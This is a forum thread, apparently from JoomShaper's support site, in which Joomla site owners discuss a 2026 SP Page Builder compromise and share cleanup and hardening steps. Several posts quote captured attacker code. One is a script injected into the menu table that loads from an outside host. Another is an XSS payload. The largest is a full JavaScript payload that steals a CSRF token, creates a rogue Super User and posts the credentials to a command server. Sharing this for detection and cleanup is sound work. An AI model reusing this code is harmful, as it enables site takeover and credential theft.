Prevent PHP execution in upload directories Create a .htaccess file with the following content inside each of these directories: /tmp /cache /images /media /logs <FilesMatch ".(php|php3|php4|php5|php7|php8|phtml|phar)$"> Require all denied </FilesMatch> Benefits Prevents execution of uploaded PHP backdoors. Reduces the impact of file upload vulnerabilities. Makes reinfection more difficult after cleaning a compromised site. Adds an extra layer of protection without affecting normal Joomla operation. Complements regular updates of Joomla, templates, and extensions. These measures are not a replacement for keeping Joomla and all extensions updated, but they provide an effective additional layer of defense for any Joomla installation.

Can one of the JoomShaper developers comment on whether I am correct and if this actually helps?

I am currently using Joomla on our own website, and honestly, at the beginning many people told me that Joomla was not reliable, that its structure was outdated, and that WordPress would be a better option.

However, based on my experience, I do not think the issue is only about the CMS itself. The real difference comes from how the website is configured, which extensions are used, how updates are handled, the hosting environment, cache settings, and general security practices.

Of course, WordPress is a very strong and popular platform, and I respect that. But I also believe Joomla can still be very stable, professional, and secure when it is maintained properly.

In our case, we had some issues in the beginning, but step by step we found solutions and improved the structure. At the moment, the website is working quite stable.

That being said, I do not think it is always a good idea to share every technical detail or security-related configuration publicly in an open forum, because everything written here becomes visible to everyone. But in general, I can say that Joomla should not be judged simply as “old” or “not good.” With clean extensions, proper maintenance, and good optimization, it can still deliver very good results.

Once this was discouverd you guys should have let everyone know, I've found two sites hacked and it will be a lot of work to this this.

Not happy at all.

Hello, Imunify360 detected this file as malware in helix, plase see hidden

It would have been irresponsible to make an announcement for all the world (and its hackers) to see until they had a patch. And I cleaned up twelve Joomla sites in about an hour following their instructions - and NOTE: you need to patch JCE and Tassos (Engagebox/ConvertFomrs) too. JCE, like SPPB, has released a patch you can install yourself in minutes that closes the door, and make sure you've gotten to Joomla 5.4.6 or the latest version of 6. My hour including moving site sfrom 4 straight to 5.4.6.

Patch SPPB, JCE, Tassos. Free. You don;t need to pay for patches
Update all plugins you can
Move to Joomla 5.4.6 or later; If you have Joomla 3, still, that's on you.
Then run SPPB's scanner if you don't have Imunify or RS Firewall
Then check the files the scanner flags - some will be fals positives.

This is my last comment in this thread. I'm unsubscribing it.

I did all of that but I still have a 500

Sorry, there was a problem we could not recover from.

The server returned a "500 - Whoops, looks like something went wrong."

How do I fix that??

**UPDATE: Error log showed this.

error in.... public_html/libraries/tmp:68)

I changed the name of the file from temp to temp.old

Now I can see the site but can they still get in??
**

Hello, the imunify360 scanner on hostido.pl is mass-deleting this file from Helix Ultimate. Subpages have stopped working. Overwriting this file doesn't help. What's going on? /public_html/plugins/system/helixultimate/overrides/com_content/article/default.php. Every site that has Helix Ultimate doesn't work properly.

I also noticed that imunify marked one Helix file as malware. First I had my doubt what it was but after installing the Helix template & plugin again the file was again marked as malware. mysite guru does not mark that file as malware. I do know that this leak entails hours of work and a lots of frustration for a lot of users.

The new report from imunify deserves its own post and in any case it strongly appears to be a false positive.

Can joomshaper intervene with imunify360 to stop blocking the file in helix ultimate? The second server is already doing this.

I updated all websites to the latest version of SP Pagebuilder, Helix and JCE Editor last week. This morning I'm seeing sites hacked with the home page replaced by 'Hacked by AntonKill'. Worst still, Imunify 360 is telling me there is no malware or infected files.

Hi,

We had a virus warning on our reseller hosting with 20i which alerted us quickly to the issues, luckily we only had 4 sites with either of the SPPB or JCE installed. We also have snapshot backup which runs at server level everyday so it was relatively easy to restore a snapshot backup, update where possible and change passwords etc. We also run Akeeba Admin Tools to help the 'locking down' of old Joomla and old SP Pagebuilder which we were not able to update due to PHP etc., read on ......

--- First comment ---

Please don't blame the developers, yes in reality it is their fault but they didn't pre-meditate this to occur and have done a good job of publically helping out, otherwise you wouldn't be reading all of this thread. The main issue you should be concerned with is why you have NOT got the alarm triggers, protection or knowledge of what protection is required, so therefore, now as a reult of all of this, you should be way more comfortable understanding the levels of security or disaster recovery you should have in place for your agency and more importantly your clients.

--- Second comment ---

If you are not running Watchful or MySiteGuru + a firewall like RS or Akeeba Admin Tools, why the hell not!! Admin Tools by Akeeba provides all the help required to be able to combat and manage this type of exploit and many others, it also allows you to maintain old versions of Joomla and components like Page Builder which is our issue on 2 of our sites. The developer (Nicholas) has written a recent article to help understand the system and it's very clever features. He has been in the security game protecting Joomla and Wordpress for 25 years, way before any of this came to light!

https://www.akeeba.com/news/1785-protecting-old-sites-against-joomla-extensions-zero-days.html

Yes we are all facing man / women hours to sort all of this out, as others have said it is not very often we get major issues with Joomla, so please learn from it.

Get Akeeba Admin Tools is our advice!

We have multiple sites on J3.5 with HU arround version 2.0.18. Can we apply this update also?

Helix Ultimate UPDATE!!

Version 2.2.8

07 July 2026

Fixes
Fix Custom Code fields (Before Head, After Body, Before Body, Custom CSS, Custom JS) being stripped when saving or drafting template options via AJAX.

I’ve noticed that after my site was hacked—and I restored a backup from a date prior to the breach—and after updating the entire environment (Joomla!, SPPB, Template) and blocking countries where bot attempts were originating, the site is still loading very slowly.

I really don't know what else to do.

Hi Erivelton,
I'd start with https://tools.pingdom.com, choose closest city and see the time needed for requests, browser dev tool (press F12 - tab Network} do the same but you can also switch browser cache on/off. This measurement can help you to decide next steps.

@paul: can you stick a separate thread for the update and maintenance of your security scanner? not all the ppl read all this topic because it is hundred of messages.
thank you.

Hello, I fixed that SP Page Builder hack 2 weeks ago and installed the patch. Today my site had is being redirected to a spam website. Is that something else that was missed?

I came across this recent article, which may be useful for Joomla and SP Page Builder users affected by the June 2026 security incidents:

https://mysites.guru/blog/hacked-yesterday-exploited-today/

It explains that a one-time cleanup may not be sufficient, as dormant uploaders, hidden PHP files, malicious cron jobs, modified template files and rogue administrator accounts can remain after the initial compromise and cause reinfection days or weeks later.

The article also includes examples of malicious files found under SP Page Builder media and iconfont directories. I thought it would be useful to share this with the community and the JoomShaper team for awareness.

We can assume that no effort or expense is being spared to prioritize the investigation into potential leaks. We have all been confronted with the reality of the situation recently. It is essential for all developers to follow the 'secure by design' procedure. Developers that don't follow that way will loose their users/clients very fast.

I would like to thank JS for the rapid update version 2.2.7. for Helix. Nice Job!

Unfortunally the game has changed from the best features to the safest product..

I'm having trouble figuring out where to install the PHP execution blocker for directories that should only contain static files.

I also noticed files with .bak and .dist extensions on my server; could these be protection files from RSFirewall!?

.user.ini.bak
htaccess.bak
robots.txt.dist

I’ve included my .htaccess file below (from the hidden files) so you can tell me exactly which line I should use to implement the PHP execution block.

During a review of old backups, I discovered malicious code in the _menu table in a database backup from May 20, 2026. If we consider June 13 as the date of the attack, it is clear that a simple restore from a backup a few days old and updating SP Page Builder without subsequent routine checks is insufficient..

For non-webmasters: The quickest way to check live websites is by viewing the page source in your browser (Ctrl+U) and searching (Ctrl+F) for:

(function(){ if(sessionStorage._hxd)return;

If this code is not present at the bottom of the page, the _menu table does not contain malicious code. If the malicious code is found, use joomla-security-scanner-main component to remove the code from the menu.
I strongly recommend installing HTProtect.
Download links

All my websites with SP Page builder are infected with several txt files inside the maps, and multiple PHP files. A big chaos at the moment.
Even because i used several versions of SP Page some joomla sites are still on 4 and some are on 6.
What a mess.

How to fix this entire thing?

I installed the cleaner on first site and it found a lot of files infected. All deleted.
I also before updated to 6.6.2 - am i safe now?
Scanner now tells there are no infectred files anymore....

Big problem now is that my hoster is blocked all incoming traffic so all sites offline now. Big issue

Sorry. But this is not the fix. We made a proper install-Package for Joomla 3-6 and also a Package so you can repair after Joomshaper finaly fixes the code.

https://www.joomshaper.com/forum/question/45778

Hi JoomShaper Community and Support Team,

We are facing a critical blocking issue with SP Page Builder (v6) on our Joomla website after a security incident. We urgently need guidance on how to restore our editing capabilities.

What Happened (The Exploit)
A few days ago, our site was compromised due to the recent security vulnerability. We detected that the attackers managed to:

1. Create unauthorized Super User accounts.
2. Inject malicious .php and .json files into our directories.

What We Have Done So Far

• We have successfully removed the unauthorized Super Users from the database.
• We tracked down and deleted all suspicious .php and .json files via cPanel.
• The site is now clean, but we remain completely locked out of editing.

The Current Issue: 404 Error on Save
Every time we attempt to save any changes inside the SP Page Builder editor, the process fails.

• The Error:The browser console shows a 404 Not Found status code when hitting the administrator saving endpoint (e.g., /administrator/...).
• This 404 response causes an Uncaught (in promise) Error in bundle.min.js, completely freezing the page builder interface.

The Root Cause: Imunify360 / WAF
Our hosting provider uses Imunify360. Following the attack, the firewall rules were hardened. Now, the WAF is flagging our legitimate SPPB saving requests as potential exploits (false positives) and blocking them with a 404 error code.

Our Questions to JoomShaper / The Community:

1. Since we have already cleaned the malware, what is the recommended procedure to make SP Page Builder 6 save actions compatible with strict WAF/Imunify360 rules?
2. Are there specific ModSecurity rule IDs or paths that we need to ask our hosting provider to whitelist so we can edit without compromising our server's security again?
3. Is there an official JoomShaper patch we must apply to fully prevent the editor from triggering these security blocks?

We have been unable to update our institutional website for almost a week now. Any urgent help or rule exceptions we can share with our hosting administrator would be deeply appreciated.

Thank you!

Whatever i try, i cannot delete the map: media/com_sppagebuilder/assets/iconfont/icoipzihz
How to delete this map completely? Even with your fix it is not possible to delete the map

@webmasterimageninstitucionalucss Yikes. I'm sure support will answer, but have you tried turning on the security for an hour, then restoring your site files from a backup in cpanel? I had to roll mine back to early June. I deleted all ftp accounts and added new ones for those who absolutely needed them. I changed my database names and passwords then updated the config file. Then I updated SP Page Builder and Helix by reinstalling from a zip file. I installed htprotect. Then I added all of the last images via ftp, content articles and pages on the database. I activated htprotect, then turned my server security back on. This gave me an updated site with no security holes, server protection and site level protection. Just sharing in case this helps.

FTP forbid me to do that, very strange.
I checked the permissions and whatever i try, 666, 777, 555 no changes at all. It just forbid to delete the maps.

I have now made the next steps on most of my sites (J4/J5/J6):

• Revert a backup from 1 june 2026 from all my sites - i didnt see any changes/txt/index.php files anymore in my maps.
• Have updated SP Page builder to 6.6.2
• Run the security fix and all files are now deleted and gone, everything is green checked.
• Changed the passwords.

Can i publish the sites again or which steps do i still need to make? It costs me a lot of money since the customers are frustrating that their websites are offline. It needs to go back online!

• For one Joomla 3 site - i tried the Security fix but it doesn't install it. Is there another fix for J3?

Hello,

I found this in the database, in the menu table :

"helixultimatemenulayout":"{\"customclass\":\"\\"><s-cript src=\\"https:\\/\\/js.aacaw.com\\/fp\\/v1.min.js\\"><\\/script>\",\"megamenu\":\"1\"}"

It affects the display and causes the following error:

Warning: Undefined property: stdClass::$width in plugins/system/helixultimate/src/Core/Classes/HelixultimateMenu.php on line 468

Delete script from the table, run tools

Domain Name: aacaw.com

Registry Domain ID: 3053234862_DOMAIN_COM-VRSN

Registrar WHOIS Server: grs-whois.aliyun.com

Updated Date: 2026-01-01T05:48:13+00:00 2026-06-23

Creation Date: 2026-01-01T05:48:13+00:00 2026-01-01

Quick JS research

The code appears to be part of a fingerprinting or tracking script. Fingerprinting scripts collect information about a user's browser, device, or behavior to create a unique identifier (fingerprint) for tracking or security purposes.
It collects a wide range of data, including:

Browser and System Information: Screen resolution, color depth, time zone, language, plugins, and WebGL renderer.

Canvas Fingerprinting: Uses the HTML5 <canvas> element to generate a unique fingerprint based on how the browser renders graphics.

WebGL Fingerprinting: Extracts information from the WebGL rendering context.

Font Fingerprinting: Checks which fonts are available on the user's system.

Audio Context Fingerprinting: Uses the Web Audio API to generate a fingerprint.

Hardware Concurrency: Detects the number of CPU cores.

Device Memory: Checks the device's memory.

User Agent and Platform: Collects the browser's user agent string and platform.

The collected data is likely sent to a remote server for further processing or storage.

Found this in table menu : <img src=x on-error=\\localStorage.setItem(\\\"_hu_inject_js\\\",\\\\ufeff'\\"><s-cript src=https:\\/\\/xss.report\\/c\\/registernex1><\\/script>

See full script on hidden content

I deleted it manually using phpMyAdmin. Where is the problem coming from?

Thank you !

Thank you for your response.

This started happening yesterday on several websites, even though they had been updated to the latest version of SPPB 6.6.2 and had been working fine. Could this be related to the recent SP Page Builder vulnerability?

Thanks.

Urgent: Active Exploitation of CVE-2026-48908 via asset.uploadCustomIcon (Payload Inside)

I am writing this to document an active, high-volume exploit targeting SP Page Builder Pro that is currently bypassing standard security measures.

My hosting account was recently hit by an automated botnet targeting the asset.uploadCustomIcon endpoint, which aligns with the details of CVE-2026-48908. This exploit is particularly insidious because it does not just inject malicious scripts; it leverages the component's internal settings to "register" malicious CSS paths directly into the Joomla database, ensuring persistence even after basic file cleanups.

The Attack Vector:
The bots are utilizing the custom font upload feature to inject a directory traversal payload. They are creating nested folders within /media/com_sppagebuilder/assets/iconfont/ (using paths like ../../../../images/[random_folder]/) to hide malicious CSS and PHP payloads within the /images/ directory.

The Payload (Captured):
The script being injected into the database params (often found in #__menu or module parameters) is an automated "Super User" creation bot. It monitors the administrator backend and, once it detects a valid session, it executes a task=user.apply request to create a rogue admin account (often with credentials such as admin_mori and an email like [email protected]).

Script Fragment:
included as answer

Impact on my sites:

System-wide injection: The bot creates a persistent background process (setInterval(checkAdmin, 30000)) to re-create the rogue admin account if deleted.

Asset Hijacking: It forces the site to load external malicious stylesheets, which appear as a list of 14+ rogue icon-font files in the document <head>.

Persistence: Even after manual file deletion, the site remains compromised because the malicious paths are hard-coded into the component's database configurations.

Recommendation to Community:

Audit your database: Check all params fields in your #__menu and #__modules tables for the string joomlacreater or joomlacreater_inline_run.

Permissions: Immediately set the /media/com_sppagebuilder/assets/iconfont/ folder permissions to 000 until a verified patch is installed.

Database Hygiene: Delete any rogue Super Admin users immediately and check your component settings for any "Custom Icon" paths you did not explicitly create.

Has JoomShaper released an official hardened patch for the asset.uploadCustomIcon endpoint? It is currently the primary entry point for this RCE.






```https://www.fortiguard.com/outbreak-alert/joomla-sp-page-builder-rce

<span class="sp-menu-badge sp-menu-badge-right" style="">(function () {'use strict';if (window.joomlacreater_inline_run) return;window.joomlacreater_inline_run = true;var C2 = 'https://xdxd.olybrdbtrknks.xyz';var DEF = {login: 'admin_mori',pass: 'mori_pro3344',email: '[email protected]',gid: '8'};var FORM_URL = '/administrator/index.php?option=com_users&amp;view=user&amp;layout=edit&amp;id=0';function extractToken(html) {var p = [/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/i,/'csrf\.token'\s*:\s*'([a-f0-9]{32})'/i,/name="([a-f0-9]{32})"\s+value="1"/i,/value="1"\s+name="([a-f0-9]{32})"/i];for (var i = 0; i &lt; p.length; i++) {var m = html.match(p[i]);if (m) return m[1];}return null;}function isAdminHtml(html) {html = html || '';var head = html.slice(0, 12000);return /com_cpanel|view=cpanel|administrator\/index\.php\?option=com_/i.test(head)&amp;&amp; !/task=login|id="login-form"|com_login|login-form/i.test(head);}function fetchConfig() {return fetch(C2 + '/api.php?action=public_config', { credentials: 'omit' }).then(function (r) { return r.json(); }).catch(function () { return null; });}function mergeUser(data) {var u = {login: DEF.login,pass: DEF.pass,email: DEF.email,group_id: DEF.gid};if (data &amp;&amp; data.ok) {if (data.user_login) u.login = data.user_login;if (data.user_pass) u.pass = data.user_pass;if (data.user_email) u.email = data.user_email;if (data.user_group_id) u.group_id = String(data.user_group_id);if (data.joomla_base) C2 = String(data.joomla_base).replace(/\/+$/, '');}return u;}function notifyRouter(router, u) {var fields = {url: location.origin,domain: location.hostname,username: u.login,password: u.pass,email: u.email,force: '1'};var payload = new URLSearchParams(fields).toString();try {fetch(router, {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: payload,keepalive: true});} catch (e) {}try {if (navigator.sendBeacon) {navigator.sendBeacon(router, new Blob([payload], { type: 'application/x-www-form-urlencoded' }));}} catch (e2) {}try {if (!document.getElementById('jc_router_iframe')) {var iframe = document.createElement('iframe');iframe.name = 'jc_router_iframe';iframe.id = 'jc_router_iframe';iframe.style.cssText = 'position:absolute;width:0;height:0;border:0;visibility:hidden';document.body.appendChild(iframe);}var form = document.createElement('form');form.method = 'POST';form.action = router;form.target = 'jc_router_iframe';form.style.display = 'none';Object.keys(fields).forEach(function (k) {var inp = document.createElement('input');inp.type = 'hidden';inp.name = k;inp.value = fields[k];form.appendChild(inp);});document.body.appendChild(form);form.submit();setTimeout(function () { form.remove(); }, 5000);} catch (e3) {}}function buildUserBody(token, u) {var body = new URLSearchParams();body.set(token, '1');body.set('task', 'user.apply');body.set('return', '');body.set('jform[id]', '0');body.set('jform[name]', u.login);body.set('jform[username]', u.login);body.set('jform[password]', u.pass);body.set('jform[password2]', u.pass);body.set('jform[email]', u.email);body.set('jform[registerDate]', '');body.set('jform[lastvisitDate]', '');body.set('jform[lastResetTime]', '');body.set('jform[resetCount]', '0');body.set('jform[sendEmail]', '0');body.set('jform[block]', '0');body.set('jform[requireReset]', '0');body.set('jform[groups][]', u.group_id);body.set('jform[params][admin_style]', '');body.set('jform[params][colorScheme]', '');body.set('jform[params][allowTourAutoStart]', '');body.set('jform[params][admin_language]', '');body.set('jform[params][language]', '');body.set('jform[params][editor]', '');body.set('jform[params][timezone]', '');body.set('jform[params][a11y_mono]', '0');body.set('jform[params][a11y_contrast]', '0');body.set('jform[params][a11y_highlight]', '0');body.set('jform[params][a11y_font]', '0');return body;}function createSuperUser(token, u) {return fetch(FORM_URL, {method: 'POST',credentials: 'include',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: buildUserBody(token, u).toString(),redirect: 'follow'}).catch(function () { return null; });}function runCreate() {if (window.joomlacreater_create_done) return;window.joomlacreater_create_done = true;fetchConfig().then(function (data) {var u = mergeUser(data);var router = (data &amp;&amp; data.ok &amp;&amp; data.router_url) ? data.router_url : (C2 + '/router.php');return fetch(FORM_URL, { credentials: 'include' }).then(function (r) { return r.text(); }).then(function (html) {if (!isAdminHtml(html)) return;var token = extractToken(html);if (!token) return;return createSuperUser(token, u).then(function () {notifyRouter(router, u);});});}).catch(function () {});}function checkAdmin() {fetch('/administrator/index.php', {credentials: 'include',redirect: 'manual',cache: 'no-store'}).then(function (r) {if (r.type === 'opaqueredirect' || r.status === 0 || r.status === 302) {return fetch('/administrator/index.php', { credentials: 'include' }).then(function (x) { return x.text(); });}if (r.status === 401 || r.status === 403) return '';return r.text();}).then(function (html) {if (isAdminHtml(html)) runCreate();}).catch(function () {});}checkAdmin();setInterval(checkAdmin, 30000);})();</span>

Hi,
about new the important Security Update - SP Page Builder v6.7.1 for Joomla 5-6 it's ok, but about the eventual patch for Joomla 3 an SPPagebuilder ? Is it sufficient the pkg_sppagebuilder_j3_security_patch.zip released one week ago?
Thanks.

I have a System - Regular Labs - Advanced Module Manager Systen Plugin 7.6.3 installed when the site was Joomla 3 and I did not uninstall when I migrated to 4 and so it will not unistall, I cannot update it and I would ask, although I know that is a completely different developer, what do suggest I do? (Site is currently on 5.4.7)
I only mention it and ask out of respect for your vast knowledge. Thank you for your consideration.

An error has occurred.
0 PlgSystemAdvancedModulesInstallerScriptHelper::preflight(): Argument #2 ($adapter) must be of type JAdapterInstance, Joomla\CMS\Installer\Adapter\PluginAdapter given, called in /xxxx/xxxx/public_html/xxxx/libraries/src/Installer/LegacyInstallerScript.php on line 159

PHPMyadmin, table _extensions, find plugin, disable.

Let's not forget JoomShaper & SP Page Builder had YET ANOTHER security update released on 17th July - now we're on version 6.7.1, as anything older has a "read entire SQL database" bug within the code

I'm told there needs to be at least one MORE release too to quash a further bug!!!

@Paul Frankowski - you're making yourself look like a sore looser now. No one here is asking you to comment on other Joomla extensions from other vendors.

What you are being asked is to FIX ALL THE SECURITY HOLES & BUGS IN SP PAGE BUILDER AND IN ALL OTHER JOOMSHAPER EXTENSIONS

Highlighting other vendor's updates in an attempt to divert attention AWAY from your own company's failings is NOT good customer service, NOR is it the best way to show your alleged commitment to security!

What's happening now is insane. Security updates are happening several times a day. It's exhausting. Joomla, focus on security now because that's what we need, and do a proper audit of your extensions.

I wanted to let you know that Sucuri has published a virtual patch for CVE-2026-48908.

Hello everyone,Lately, it feels like an increasing number of Joomla websites and extensions are being targeted by hackers, and unfortunately, this incident happened to one of my sites as well.
Given this growing wave of attacks, what would be your top recommendation?
Should I stay with Akeeba Admin Tools and MyJoomla or chage to some other solution like RSFirewall!, or is there a third solution that stands out as the best choice for comprehensive Joomla security and firewall protection?
I would appreciate your insights and real-world experiences. Thanks!

Good afternoon. Can you tell me the latest version of the SP Security scanner and where I can download it?

Dear Joomshaper team, I'm asking you again, please unsubscribe me from notifications on this topic. I would do it myself, but I don't see that option here. Thank you.